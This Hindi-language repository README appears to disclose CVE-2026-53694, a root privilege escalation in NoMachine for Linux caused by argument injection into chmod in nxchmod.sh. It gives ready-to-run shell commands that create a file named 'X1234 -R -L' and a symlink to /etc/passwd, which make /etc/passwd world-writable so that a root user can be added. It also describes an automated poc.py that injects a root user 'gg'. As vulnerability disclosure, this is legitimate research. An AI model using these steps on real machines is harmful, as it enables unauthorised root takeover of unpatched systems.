
CVE-2026-53694 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और विवरण, जो NoMachine for Linux में आर्गुमेंट इंजेक्शन के माध्यम से एक स्थानीय विशेषाधिकार वृद्धि है, जो nxchmod.sh में होता है, और सिमलिंक हेरफेर के माध्यम से रूट एक्सेस सक्षम करता है।
यह रिपॉजिटरी CVE-2026-53694 के लिए लेख और प्रूफ ऑफ कॉन्सेप्ट (PoC) प्रस्तुत करती है, जो Linux के लिए NoMachine में एक स्थानीय विशेषाधिकार वृद्धि (LPE) भेद्यता है।
nxchmod.sh स्क्रिप्ट में तर्क सीमांककों के अनुचित न्यूट्रीलाइजेशन के कारण, एक स्थानीय अनप्रिविलेज्ड उपयोगकर्ता root के रूप में निष्पादित सिस्टम कमांड में तर्क इंजेक्ट कर सकता है। इस तर्क इंजेक्शन को एक सिम्बोलिक लिंक के साथ जोड़कर, एक हमलावर महत्वपूर्ण सिस्टम फ़ाइलों (जैसे /etc/passwd) को ओवरराइट कर सकता है और अपने विशेषाधिकारों को root तक बढ़ा सकता है।
यह भेद्यता विक्रेता द्वारा पूरी तरह से पैच कर दी गई है।
इस भेद्यता को खोजना परीक्षण, त्रुटि और एक देर रात की प्राप्ति की प्रक्रिया थी। यहाँ बताया गया है कि यह खोज कैसे सामने आई:
/usr/NX/scripts/restricted/nxchmod.sh स्क्रिप्ट रूट उपयोगकर्ता द्वारा विशिष्ट निर्देशिकाओं में अनुमतियों को प्रबंधित करने के लिए समय-समय पर निष्पादित की जा रही थी।chmod a+rw लागू कर रही थी। मैंने सोचा: अगर मैं गंतव्य को नियंत्रित करता हूं, तो क्या मैं /etc/passwd को लिखने योग्य बनाने के लिए सिमलिंक का उपयोग कर सकता हूं? मैंने एक मानक सिमलिंक का परीक्षण किया (ln -s /etc/passwd /tmp/asdf), लेकिन यह विफल रहा। /tmp जैसी निर्देशिकाओं पर Linux स्टिकी बिट रूट उपयोगकर्ता को किसी अन्य उपयोगकर्ता द्वारा बनाए गए सिमलिंक का आँख बंद करके अनुसरण करने से रोकता है।${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}। स्क्रिप्ट शाब्दिक फ़ाइल नाम ले रही थी और इसे सीधे chmod को पास कर रही थी।X1234 -R -L नाम की एक फ़ाइल बनाई। जब स्क्रिप्ट चली, तो chmod कमांड ने इसे एकल फ़ाइल पथ के बजाय तर्कों में विस्तारित किया।chmod कमांड में -L (सिमलिंक का अनुसरण करें) और -R (पुनरावर्ती) फ्लैग इंजेक्ट करके, मैंने chmod बाइनरी को स्वयं निर्देशिका में बनाए गए सिमलिंक को हल करने और अनुसरण करने के लिए मजबूर किया, जिससे स्टिकी बिट सुरक्षा पूरी तरह से बायपास हो गई।/etc/passwd लिखने योग्य (a+rw) बना दिया गया, तो मैं फ़ाइल में एक नया रूट उपयोगकर्ता जोड़ सकता था और उसमें su कर सकता था।यह भेद्यता इस बात से उपजी है कि NoMachine X11/Wayland सॉकेट के लिए अनुमतियों को कैसे संभालता है। स्क्रिप्ट nxchmod.sh रूट के रूप में चल रहे nxserver.bin डेमॉन द्वारा स्पॉन की जाती है।
कमजोर निष्पादन इस प्रकार दिखता है:
# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}
यदि कोई हमलावर एक निर्देशिका संरचना और X1234 -R -L नाम की फ़ाइल बनाता है, तो रूट द्वारा निष्पादित परिणामी कमांड बन जाती है:
/bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L
जब /etc/passwd की ओर इशारा करता हुआ एक सिमलिंक X1234 निर्देशिका के अंदर रखा जाता है, तो इंजेक्ट किए गए -R और -L तर्क chmod को पुनरावर्ती रूप से सिमलिंक का अनुसरण करने और लक्ष्य फ़ाइल को वैश्विक पढ़ने/लिखने की अनुमति प्रदान करने के लिए मजबूर करते हैं।
इस शोषण के काम करने के लिए, लक्ष्य प्रणाली को निम्नलिखित शर्तों को पूरा करना होगा:
आप इस भेद्यता को या तो शेल कमांड का उपयोग करके मैन्युअल रूप से या प्रदान की गई Python स्क्रिप्ट का उपयोग करके स्वचालित रूप से पुन: उत्पन्न कर सकते हैं।
दुर्भावनापूर्ण निर्देशिका संरचना बनाने के लिए /tmp/.X11-unix/ पर जाएं और निम्नलिखित कमांड निष्पादित करें।
cd /tmp/.X11-unix/
# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn
# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.
एक बार जब आप भेद्यता को सत्यापित कर लें और विशेषाधिकार बढ़ा लें, तो सिस्टम स्थिरता को बहाल करने और आर्टिफैक्ट्स को हटाने के लिए निम्नलिखित सफाई कमांड चलाएँ:
# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd
एक पूर्ण स्वचालित शोषण poc.py में प्रदान किया गया है। यह स्क्रिप्ट Wayland आवश्यकताओं को सत्यापित करती है, सिमलिंक सेट करती है, nxchmod.sh निष्पादन चक्र की प्रतीक्षा करती है और /etc/passwd में एक नया रूट उपयोगकर्ता (gg) इंजेक्ट करती है।
शोषण चलाने के लिए:
python3 poc.py
यह भेद्यता NoMachine द्वारा संबोधित की गई है। उपयोगकर्ताओं को निम्नलिखित संस्करणों या बाद के संस्करणों में अपडेट करना चाहिए: